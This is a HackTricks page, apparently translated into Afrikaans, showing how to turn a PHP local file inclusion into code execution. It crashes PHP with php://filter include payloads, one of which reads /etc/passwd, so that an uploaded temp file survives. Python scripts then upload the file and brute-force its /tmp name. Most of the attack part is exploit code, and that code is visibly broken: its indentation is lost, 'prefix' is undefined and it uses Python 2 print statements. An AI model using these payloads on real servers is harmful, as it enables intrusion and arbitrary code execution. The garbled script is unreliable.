LFI2RCE via Segmentation Fault

Reading time: 3 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Volgens die skrywe https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/ (tweede deel) en https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view, het die volgende payloads 'n segmentasiefout in PHP veroorsaak:

php
// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");

// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");

Jy moet weet dat as jy 'n POST versoek stuur wat 'n lĂȘer bevat, PHP 'n tydelike lĂȘer in /tmp/php<iets> sal skep met die inhoud van daardie lĂȘer. Hierdie lĂȘer sal automaties verwyder word sodra die versoek verwerk is.

As jy 'n LFI vind en jy slaag daarin om 'n segmentasiefout in PHP te onttrigger, sal die tydelike lĂȘer nooit verwyder word nie. Daarom kan jy soek daarna met die LFI kwesbaarheid totdat jy dit vind en arbitrĂȘre kode uitvoer.

Jy kan die docker beeld https://hub.docker.com/r/easyengine/php7.0 gebruik vir toetsing.

python
# upload file with segmentation fault
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
files = {'file': open('la.php','rb')}
response = requests.post(url, files=files)


# Search for the file (improve this with threads)
import requests
import string
import threading

charset = string.ascii_letters + string.digits

host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)


def bruteforce(charset):
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True


def main():
bruteforce(charset)

if __name__ == "__main__":
main()

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks